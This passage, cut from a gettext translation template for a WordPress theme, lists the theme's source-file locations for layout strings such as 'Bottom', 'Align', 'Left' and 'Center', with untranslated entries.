#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:546
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:364
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:863
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:173
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:206
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:536
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:992
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:671
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:160
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:157
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:146
#: inc/js_composer/shortcodes/big_grid/settings.php:512
#: inc/js_composer/shortcodes/big_grid/settings.php:691
#: inc/js_composer/shortcodes/custom_sliders/settings.php:124
#: inc/template-builder/single-elements/featured-overlay.php:168
msgid "Bottom"
msgstr ""

#: inc/builder/customizer/buider_config.php:81
msgid "Bottom Ads"
msgstr ""

#: inc/builder/customizer/buider_config.php:94
#: inc/builder/customizer/buider_config.php:142
#: inc/builder/customizer/buider_config.php:188
#: inc/builder/customizer/buider_config.php:235
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:95
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:520
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:93
#: inc/gutenberg/block/blockquote/index.js:56
#: inc/js_composer/shortcodes/pc_archive_taxonomy/settings.php:74
#: inc/js_composer/shortcodes/simple_list/settings.php:66
msgid "Align"
msgstr ""

#: inc/builder/customizer/buider_config.php:98
#: inc/builder/customizer/buider_config.php:145
#: inc/builder/customizer/buider_config.php:191
#: inc/builder/customizer/buider_config.php:238
#: inc/customizer/config/sections/penci_menu_hbg_section.php:86
#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:105
#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:118
#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:163
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:79
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:92
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:105
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:169
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:182
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:195
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:209
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:285
#: inc/customizer/config/sections/penci_section_spage_general_section.php:133
#: inc/customizer/config/sections/penci_section_spage_header_section.php:37
#: inc/customizer/config/sections/penci_section_spost_general_section.php:607
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:151
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:164
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:178
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:275
#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:170
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:125
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:58
#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:48
#: inc/elementor/base/base-widget.php:265
#: inc/elementor/base/base-widget.php:279
#: inc/elementor/base/base-widget.php:292
#: inc/elementor/base/base-widget.php:378
#: inc/elementor/base/base-widget.php:390
#: inc/elementor/base/base-widget.php:779
#: inc/elementor/base/base-widget.php:983
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:107
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:351
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:477
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:583
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:655
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:986
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1042
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1623
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:86
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:141
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:62
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:192
#: inc/elementor/modules/penci-button/widgets/penci-button.php:77
#: inc/elementor/modules/penci-button/widgets/penci-button.php:248
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:448
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:510
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:566
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1084
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:67
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:82
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:398
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:415
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:433
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:317
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:394
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:831
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:878
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:51
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:74
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:360
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:184
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:204
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:99
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:477
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:499
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:760
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:123
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:333
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:353
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:506
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:526
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:536
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:136
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:499
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:957
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:632
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:693
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:157
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:179
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:437
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:523
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:70
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:102
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:117
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:96
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:140
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:166
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:204
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:271
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:419
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:518
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:569
#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:113
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:68
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:138
#: inc/elementor/modules/penci-text-block/widgets/penci-text-block.php:73
#: inc/elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.php:71
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:253
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:267
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:280
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:178
#: inc/js_composer/inc/vc-params-helper.php:202
#: inc/js_composer/inc/vc-params-helper.php:215
#: inc/js_composer/inc/vc-params-helper.php:895
#: inc/js_composer/shortcodes/big_grid/settings.php:359
#: inc/js_composer/shortcodes/big_grid/settings.php:498
#: inc/js_composer/shortcodes/big_grid/settings.php:525
#: inc/js_composer/shortcodes/big_grid/settings.php:678
#: inc/js_composer/shortcodes/big_grid/settings.php:703
#: inc/js_composer/shortcodes/count_down/settings.php:35
#: inc/js_composer/shortcodes/counter_up/settings.php:246
#: inc/js_composer/shortcodes/custom_sliders/settings.php:112
#: inc/js_composer/shortcodes/custom_sliders/settings.php:134
#: inc/js_composer/shortcodes/fancy_heading/settings.php:21
#: inc/js_composer/shortcodes/pc_single_share/settings.php:70
#: inc/js_composer/shortcodes/product_tabs/settings.php:65
#: inc/js_composer/shortcodes/simple_list/settings.php:69
#: inc/js_composer/shortcodes/small_list/settings.php:126
#: inc/js_composer/shortcodes/small_list/settings.php:153
#: inc/js_composer/shortcodes/small_list/settings.php:171
#: inc/js_composer/shortcodes/small_list/settings.php:301
#: inc/js_composer/shortcodes/small_list/settings.php:311
#: inc/js_composer/shortcodes/social_media/settings.php:32
#: inc/js_composer/shortcodes/testimonails/settings.php:52
#: inc/js_composer/shortcodes/video_playlist/settings.php:144
#: inc/meta-box/register/page.php:371
#: inc/options/framework/fields/typography/typography.php:171
#: inc/template-builder/archive-elements/breadcrumb.php:46
#: inc/template-builder/archive-elements/description.php:46
#: inc/template-builder/archive-elements/posts.php:124
#: inc/template-builder/archive-elements/posts.php:333
#: inc/template-builder/archive-elements/posts.php:359
#: inc/template-builder/archive-elements/posts.php:536
#: inc/template-builder/archive-elements/posts.php:558
#: inc/template-builder/archive-elements/posts.php:570
#: inc/template-builder/archive-elements/taxonomy.php:115
#: inc/template-builder/archive-elements/title.php:60
#: inc/template-builder/archive-elements/title.php:106
#: inc/template-builder/single-elements/breadcrumb.php:46
#: inc/template-builder/single-elements/comments.php:98
#: inc/template-builder/single-elements/custom-field.php:75
#: inc/template-builder/single-elements/featured-overlay.php:139
#: inc/template-builder/single-elements/featured-overlay.php:705
#: inc/template-builder/single-elements/meta.php:46
#: inc/template-builder/single-elements/relatedpost.php:241
#: inc/template-builder/single-elements/relatedpost.php:253
#: inc/template-builder/single-elements/relatedpost.php:292
#: inc/template-builder/single-elements/share.php:83
#: inc/template-builder/single-elements/subtitle.php:60
#: inc/template-builder/single-elements/taxonomy.php:91
#: inc/template-builder/single-elements/title.php:60
msgid "Left"
msgstr ""

#: inc/builder/customizer/buider_config.php:99
#: inc/builder/customizer/buider_config.php:146
#: inc/builder/customizer/buider_config.php:192
#: inc/builder/customizer/buider_config.php:239
#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:104
#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:164
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:80
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:91
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:170
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:183
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:196
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:210
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:284
#: inc/customizer/config/sections/penci_section_spage_general_section.php:135
#: inc/customizer/config/sections/penci_section_spage_header_section.php:38
#: inc/customizer/config/sections/penci_section_spost_general_section.php:609
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:152
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:165
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:179
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:277
#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:169
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:124
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:119
#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:50
#: inc/elementor/base/base-widget.php:280
#: inc/elementor/base/base-widget.php:379
#: inc/elementor/base/base-widget.php:752
#: inc/elementor/base/base-widget.php:984
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:111
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:355
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:320
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:346
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:476
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:587
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:659
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:990
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1046
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:66
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:196
#: inc/elementor/modules/penci-button/widgets/penci-button.php:81
#: inc/elementor/modules/penci-button/widgets/penci-button.php:252
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:447
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:514
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:570
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:68
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:83
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:416
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:321
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:398
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:835
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:882
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:52
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:78
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:364
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:188
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:208
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:103
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:503
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:764
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:127
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:334
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:354
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:510
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:527
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:537
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:140
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:503
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:961
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:636
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:697
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:183
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:441
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:524
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:74
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:103
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:98
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:170
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:203
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:275
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:423
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:522
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:573
#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:117
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:67
#: inc/elementor/modules/penci-text-block/widgets/penci-text-block.php:77
#: inc/elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.php:75
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:268
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:182
#: inc/js_composer/inc/vc-params-helper.php:216
#: inc/js_composer/inc/vc-params-helper.php:896
#: inc/js_composer/shortcodes/big_grid/settings.php:245
#: inc/js_composer/shortcodes/big_grid/settings.php:269
#: inc/js_composer/shortcodes/big_grid/settings.php:358
#: inc/js_composer/shortcodes/big_grid/settings.php:497
#: inc/js_composer/shortcodes/big_grid/settings.php:524
#: inc/js_composer/shortcodes/big_grid/settings.php:677
#: inc/js_composer/shortcodes/big_grid/settings.php:702
#: inc/js_composer/shortcodes/count_down/settings.php:36
#: inc/js_composer/shortcodes/counter_up/settings.php:247
#: inc/js_composer/shortcodes/custom_sliders/settings.php:111
#: inc/js_composer/shortcodes/custom_sliders/settings.php:133
#: inc/js_composer/shortcodes/fancy_heading/settings.php:22
#: inc/js_composer/shortcodes/pc_single_share/settings.php:69
#: inc/js_composer/shortcodes/product_tabs/settings.php:66
#: inc/js_composer/shortcodes/simple_list/settings.php:70
#: inc/js_composer/shortcodes/small_list/settings.php:125
#: inc/js_composer/shortcodes/small_list/settings.php:170
#: inc/js_composer/shortcodes/small_list/settings.php:312
#: inc/js_composer/shortcodes/social_media/settings.php:31
#: inc/js_composer/shortcodes/video_playlist/settings.php:145
#: inc/meta-box/register/page.php:372 inc/meta-box/register/page.php:544
#: inc/options/framework/fields/typography/typography.php:172
#: inc/template-builder/archive-elements/breadcrumb.php:50
#: inc/template-builder/archive-elements/description.php:50
#: inc/template-builder/archive-elements/posts.php:128
#: inc/template-builder/archive-elements/posts.php:334
#: inc/template-builder/archive-elements/posts.php:360
#: inc/template-builder/archive-elements/posts.php:540
#: inc/template-builder/archive-elements/posts.php:559
#: inc/template-builder/archive-elements/posts.php:571
#: inc/template-builder/archive-elements/taxonomy.php:119
#: inc/template-builder/archive-elements/title.php:64
#: inc/template-builder/archive-elements/title.php:110
#: inc/template-builder/single-elements/breadcrumb.php:50
#: inc/template-builder/single-elements/comments.php:102
#: inc/template-builder/single-elements/custom-field.php:79
#: inc/template-builder/single-elements/featured-overlay.php:143
#: inc/template-builder/single-elements/featured-overlay.php:164
#: inc/template-builder/single-elements/featured-overlay.php:709
#: inc/template-builder/single-elements/meta.php:50
#: inc/template-builder/single-elements/relatedpost.php:242
#: inc/template-builder/single-elements/relatedpost.php:296
#: inc/template-builder/single-elements/relatedpost.php:661
#: inc/template-builder/single-elements/share.php:87
#: inc/template-builder/single-elements/subtitle.php:64
#: inc/template-builder/single-elements/taxonomy.php:95
#: inc/template-builder/single-elements/title.php:64
#: inc/woocommerce/modules/metaboxes.php:199
msgid "Center"
msgstr ""

#: inc/builder/customizer/buider_config.php:100
#: inc/builder/customizer/buider_config.php:147
#: inc/builder/customizer/buider_config.php:193
#: inc/builder/customizer/buider_config.php:240
#: inc/customizer/config/sections/penci_menu_hbg_section.php:87
#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:106
#: inc/customizer/config/sections/penci_menu_hbg_widgets_section.php:117
#: inc/customizer/config/sections/penci_section_homepage_featured_cat_section.php:165
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:81
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:93
#: inc/customizer/config/sections/penci_section_homepage_title_box_section.php:104
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:171
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:184
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:197
#: inc/customizer/config/sections/penci_section_other_layouts_section.php:211
#: inc/customizer/config/sections/penci_section_sidebar_general_section.php:286
#: inc/customizer/config/sections/penci_section_spage_general_section.php:134
#: inc/customizer/config/sections/penci_section_spage_header_section.php:39
#: inc/customizer/config/sections/penci_section_spost_general_section.php:608
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:153
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:166
#: inc/customizer/config/sections/penci_section_standard_classic_section.php:180
#: inc/customizer/config/sections/pencidesign_new_section_general_section.php:276
#: inc/customizer/config/sections/pencidesign_new_section_woocommerce_section.php:171
#: inc/customizer/config/sections/pencidesign_woo_filter_sidebar_section.php:126
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:59
#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:49
#: inc/elementor/base/base-widget.php:266
#: inc/elementor/base/base-widget.php:281
#: inc/elementor/base/base-widget.php:291
#: inc/elementor/base/base-widget.php:380
#: inc/elementor/base/base-widget.php:389
#: inc/elementor/base/base-widget.php:778
#: inc/elementor/base/base-widget.php:985
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:115
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:359
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:478
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:591
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:663
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:994
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1050
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1622
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:85
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:140
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:70
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:200
#: inc/elementor/modules/penci-button/widgets/penci-button.php:85
#: inc/elementor/modules/penci-button/widgets/penci-button.php:256
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:449
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:518
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:574
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:1083
#: inc/elementor/modules/penci-count-down/widgets/penci-count-down.php:69
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:84
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:399
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:417
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:432
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:325
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:402
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:839
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:886
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:53
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:82
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:368
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:192
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:212
#: inc/elementor/modules/penci-footer-navmenu/widgets/penci-footer-navmenu.php:107
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:481
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:507
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:768
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:131
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:335
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:355
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:514
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:528
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:538
#: inc/elementor/modules/penci-mail-chimp/widgets/penci-mail-chimp.php:144
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:507
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:965
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:640
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:701
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:158
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:187
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:445
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:525
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:78
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:104
#: inc/elementor/modules/penci-sidebar/widgets/penci-sidebar.php:116
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:97
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:141
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:174
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:205
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:279
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:427
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:526
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:577
#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:121
#: inc/elementor/modules/penci-social-media/widgets/penci-social-media.php:69
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:139
#: inc/elementor/modules/penci-text-block/widgets/penci-text-block.php:81
#: inc/elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.php:79
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:254
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:269
#: inc/elementor/modules/penci-video-playlist/widgets/penci-video-playlist.php:279
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:186
#: inc/js_composer/inc/vc-params-helper.php:203
#: inc/js_composer/inc/vc-params-helper.php:217
#: inc/js_composer/inc/vc-params-helper.php:897
#: inc/js_composer/shortcodes/big_grid/settings.php:360
#: inc/js_composer/shortcodes/big_grid/settings.php:499
#: inc/js_composer/shortcodes/big_grid/settings.php:526
#: inc/js_composer/shortcodes/big_grid/settings.php:679
#: inc/js_composer/shortcodes/big_grid/settings.php:704
#: inc/js_composer/shortcodes/count_down/settings.php:37
#: inc/js_composer/shortcodes/counter_up/settings.php:248
#: inc/js_composer/shortcodes/custom_sliders/settings.php:113
#: inc/js_composer/shortcodes/custom_sliders/settings.php:135
#: inc/js_composer/shortcodes/fancy_heading/settings.php:23
#: inc/js_composer/shortcodes/pc_single_share/settings.php:71
#: inc/js_composer/shortcodes/product_tabs/settings.php:67
#: inc/js_composer/shortcodes/simple_list/settings.php:71
#: inc/js_composer/shortcodes/small_list/settings.php:127
#: inc/js_composer/shortcodes/small_list/settings.php:154
#: inc/js_composer/shortcodes/small_list/settings.php:172
#: inc/js_composer/shortcodes/small_list/settings.php:302
#: inc/js_composer/shortcodes/small_list/settings.php:313
#: inc/js_composer/shortcodes/social_media/settings.php:33
#: inc/js_composer/shortcodes/testimonails/settings.php:53
#: inc/js_composer/shortcodes/video_playlist/settings.php:146
#: inc/meta-box/register/page.php:373
#: inc/options/framework/fields/typography/typography.php:173
#: inc/template-builder/archive-elements/breadcrumb.php:54
#: inc/template-builder/archive-elements/description.php:54
#: inc/template-builder/archive-elements/posts.php:132
#: inc/template-builder/archive-elements/posts.php:335
#: inc/template-builder/archive-elements/posts.php:361
#: inc/template-builder/archive-elements/posts.php:544
#: inc/template-builder/archive-elements/posts.php:560
#: inc/template-builder/archive-elements/posts.php:572
#: inc/template-builder/archive-elements/taxonomy.php:123
#: inc/template-builder/archive-elements/title.php:68
#: inc/template-builder/archive-elements/title.php:114
#: inc/template-builder/single-elements/breadcrumb.php:54
#: inc/template-builder/single-elements/comments.php:106
#: inc/template-builder/single-elements/custom-field.php:83
#: inc/template-builder/single-elements/featured-overlay.php:147
#: inc/template-builder/single-elements/featured-overlay.php:713
#: inc/template-builder/single-elements/meta.php:54
#: inc/template-builder/single-elements/relatedpost.php:243
#: inc/template-builder/single-elements/relatedpost.php:252
